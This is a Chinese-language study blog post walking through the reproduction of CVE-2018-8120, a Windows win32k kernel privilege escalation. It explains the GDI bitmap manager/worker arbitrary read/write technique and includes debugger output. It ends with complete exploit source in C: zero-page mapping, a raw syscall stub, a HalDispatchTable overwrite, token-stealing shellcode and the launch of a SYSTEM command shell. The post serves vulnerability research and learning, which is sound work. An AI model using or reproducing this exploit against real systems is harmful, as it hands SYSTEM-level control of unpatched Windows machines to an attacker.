0x00:前言
昨天在最後復現的時候還差一點點,已經知道了漏洞點但是還沒有完成利用。使用之前在0 day安全上學到的任意地址寫漏洞技術似乎不是那麼好直接的使用。其實是需要用到濫用GDI bitmap這個技術,今天來學習!參考文章
0x01:GDI bitmap
本技術重要的部分在於,當創建一個bitmap時,我們可以泄露出其在內核中的地址。這一泄露在Windows10的v1607版本之後被打上了補丁。
當創建一個bitmap時,一個結構被附加到了父進程PEB的GdiSharedHandleTable中。給定進程PEB的基地址,GdiSharedHandleTable就在如下的偏移處(分別於32/64位)。
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
[FieldOffset(148)]
public IntPtr GdiSharedHandleTable32;
[FieldOffset(248)]
public IntPtr GdiSharedHandleTable64;
}
PEB中的該條目是一個指向GDICELL結構體數組的指針,它定義了多種不同的image類型。該結構體的定義如下:
/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
public IntPtr pKernelAddress;
public UInt16 wProcessId;
public UInt16 wCount;
public UInt16 wUpper;
public UInt16 wType;
public IntPtr pUserAddress;
}
通過使用GDI句柄,可以這樣計算得到其在內核的地址。
addr = PEB.GdiSharedHandleTable +(handle&0xffff)* sizeof(GDICELL64)
在GDI_CELL中,有一項pKernelAddress結構,指向BASEOBJECT結構
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64提示;
} BASEOBJECT64; // sizeof = 0x18
typedef struct {
BASEOBJECT64 BaseObject; // 0x00
SURFOBJ64 SurfObj; // 0x18
[...]
} SURFACE64;
我們並不關心它是什麼,重點是對於位圖來說,下面的SURFACE結構爲:
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf;// 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType;// 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
我們關心的只是pvScan0。這一成員是一個指針,指向bitmap的首個掃描行。從泄露出來的內核地址我們可以計算出該成員的偏移。有這樣兩個GDI32 API調用,GetBitmapBits 和 SetBitmapBits ,它們直接操縱該成員。GetBitmaps允許我們在pvScan0地址上讀任意字節,SetBitmapBits允許我們在pvScan0地址上寫任意字節。
(64位)使用步驟爲:
- 創建兩個bitmap對象
- 使用句柄查找GDICELL64,計算pvScan0地址(兩個位圖)
- 使用漏洞將Worker的pvScan0偏移地址寫入Manager的pvScan0**值
- 在管理器上使用SetBitmapBits選擇地址
- 在ring3上使用GetBitmapBits / SetBitmapBits讀取/寫入先前設置的地址
//創建2個位圖
hManager = CreateBitmap(...);
hWorker = CreateBitmap(...);
//獲取hManager的SURFOBJ64.pvScan0內核地址
ManagerCell = *(((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hManager)* 0x18)));
pManagerpvScan0 = ManagerCell.pKernelAddress + 0x50;
//獲取hWorker的SURFOBJ64.pvScan0內核地址
WorkerCell = *(((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hWorker)* 0x18)));
pWorkerpvScan0 = WorkerCell.pKernelAddress + 0x50;
//在此處觸發您的漏洞
//使用它在pManagerpvScan0處寫入pWorkerpvScan0
[...]
//現在我們可以在hManager上進行操作以設置要從中讀取/寫入的地址
//將其視爲設置地址寄存器
ULONG64 addr = 0xdeadbeef;
SetBitmapBits(hManager,sizeof(addr),&addr);
//這樣,我們就可以像這樣在hWorker上進行實際的任意讀寫
SetBitmapBits(hWorker,len,writebuffer);
GetBitmapBits(hWorker,len,readbuffer);
梳理一下,如果我們將Manager的pvScan0寫爲Worker的pvScan0所在的地址,那麼操控Manager即可隨意改變Worker的pvScan0,那麼再操控Worker的pvScan0即可進行任意地址寫了。意思就爲 Manager操控想寫的地址,Worker操控寫入該地址的內容。
0x02:回到CVE-2018-8120
根據上述思路和所填的進度,修改昨天的代碼繼續調試。將零地址偏移處的兩個值替換爲兩個pvScan0
getZeroMemory();
*(DWORD*)(0x2C) = (DWORD)(mpv);
*(DWORD*)(0x14) = (DWORD)(wpv);
首先看到兩個pvScan0所在的地址
執行到昨天驗證失敗的地方,今天可以通過驗證了。因爲[pvScan0]+0x48h所在的地址恰好爲0!
繼續向下執行,可以看到即將會將worker的pvScan0的地址存放至manager的pvScan0地址處。
eax=fe6e8760 ebx=9219ffd8 ecx=00000057 edx=fe917d58 esi=950e1ab0 edi=fe6e8760
eip=921a00a2 esp=950e1a88 ebp=950e1a90 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
win32k!SetImeInfoEx+0x3d:
921a00a2 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
kd> dd 950e1ab0
950e1ab0 fe917d58 cccccccc cccccccc 00000048
950e1ac0 cccccccc cccccccc fe917d58 cccccccc
950e1ad0 cccccccc fe6e8760 cccccccc cccccccc
950e1ae0 060504e8 cccccccc cccccccc 1a050766
950e1af0 cccccccc cccccccc 00000090 00000000
950e1b00 00000000 00000000 00000000 00000000
950e1b10 00000000 00000000 00000000 00000000
950e1b20 00000000 00000000 00000000 00000000
執行完畢,可以看到修改完成!
kd> dd 0xfe6e8760
fe6e8760 fe917d58 cccccccc cccccccc 00000048
fe6e8770 cccccccc cccccccc fe917d58 cccccccc
在修改的時候注意,不光要修改這一個數據,因爲我們拷貝的是0X15C個數據。所以要順帶的將Manager的pvScan0後的其他數據結構保持不變,因此在代碼中加上這些數據。
char buf[0x200];
RtlSecureZeroMemory(&buf, 0x200);
PVOID *p = (PVOID*)&buf;
p[0] = (PVOID)wpv;
DWORD* pp = (DWORD*)&p[1];
pp[0] = 0x180;
pp[1] = 0x1d95;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
接下來就可以利用這兩個bitmap完成任意地址寫任意數據了。只要將昨天想要覆蓋的內核函數地址替換成我們的ShellCode,然後再調用即可。
終於完成了!
附上所有代碼
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
//申請0頁內存
void getZeroMemory(){
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
}
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
}
printf("[+]Success to alloc zero page...\n");
}
__declspec(naked) VOID ShellCode()
{
_asm
{
pushad
mov eax, fs: [124h] // 找到當前線程的_KTHREAD結構
mov eax, [eax + 0x50] // 找到_EPROCESS結構
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循環是爲了獲取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到進程活動鏈表
sub eax, 0xb8 // 鏈表遍歷
cmp[eax + 0xb4], edx // 根據PID判斷是否爲SYSTEM
jnz find_sys_pid
// 替換Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
xor eax,eax
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
//獲取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
CHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if (!strcmp(lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
DWORD32 GetHalOffset_4()
{
// ntkrnlpa.exe in kernel space base address
PVOID pNtkrnlpaBase = NtkrnlpaBase();
printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
// ntkrnlpa.exe in user space base address
HMODULE hUserSpaceBase = LoadLibrary(L"ntkrnlpa.exe");
// HalDispatchTable in user space address
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);
return (DWORD32)hal_4;
}
//NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx()。
//其中SyscallIndex的計算,根據系統ShadowSSDT表導出序號計算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall; //系統調用符號
mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系統調用
call dword ptr[edx];
ret 4;
}
}
DWORD getpeb()
{
//在NT內核中,FS段爲TEB,TEB偏移0x30處爲PEB
DWORD p = (DWORD)__readfsdword(0x18);
p = *(DWORD*)((char*)p + 0x30);
return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
typedef struct
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
if (!gtable)
gtable = getgdi();
DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
GDICELL* c = (GDICELL*)p;
return (char*)c->pKernelAddress + 0x30;
}
int main()
{
//1. 創建bitmap對象
unsigned int bbuf[0x60] = { 0x90 };
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
//2. 使用句柄查找GDICELL,計算pvScan0地址
PVOID mpv = getpvscan0(gManger);
PVOID wpv = getpvscan0(gWorker);
printf("[+] Get manager at 0x%p,worker at 0x%p\n", mpv, wpv);
//使用漏洞將Worker的pvScan0偏移地址寫入Manager的pvScan0值
// 新建一個新的窗口,新建的WindowStation對象其偏移0x14位置的spklList字段的值默認是零
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
// 和窗口當前進程關聯起來
SetProcessWindowStation(hSta);
char buf[0x200];
RtlSecureZeroMemory(&buf, 0x200);
PVOID *p = (PVOID*)&buf;
p[0] = (PVOID)wpv;
DWORD* pp = (DWORD*)&p[1];
pp[0] = 0x180;
pp[1] = 0x1d95;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
//獲取0頁內存
getZeroMemory();
*(DWORD*)(0x2C) = (DWORD)(mpv);
*(DWORD*)(0x14) = (DWORD)(wpv);
// WindowStation->spklList字段爲0,函數繼續執行將觸發漏洞
NtUserSetImeInfoEx((PVOID)&buf);
PVOID pOrg = 0;
DWORD haladdr = GetHalOffset_4();
PVOID oaddr = (PVOID)haladdr;
PVOID sc = &ShellCode;
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager設置worker的可修改地址爲hal函數
printf("[+]要覆蓋的目標地址 0x%x\n", oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//獲取可修改的地址
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//設置地址爲shellcode
printf("[+]覆蓋完畢,準備執行Shellcode");
//觸發shellcode
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
DWORD interVal = 0;
NtQueryIntervalProfile(0x1337, &interVal);
//收尾
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
CreateCmd();
return 0;
}
0x03:明日計劃
明天可能會改一天論文,也可能會繼續學習內核漏洞。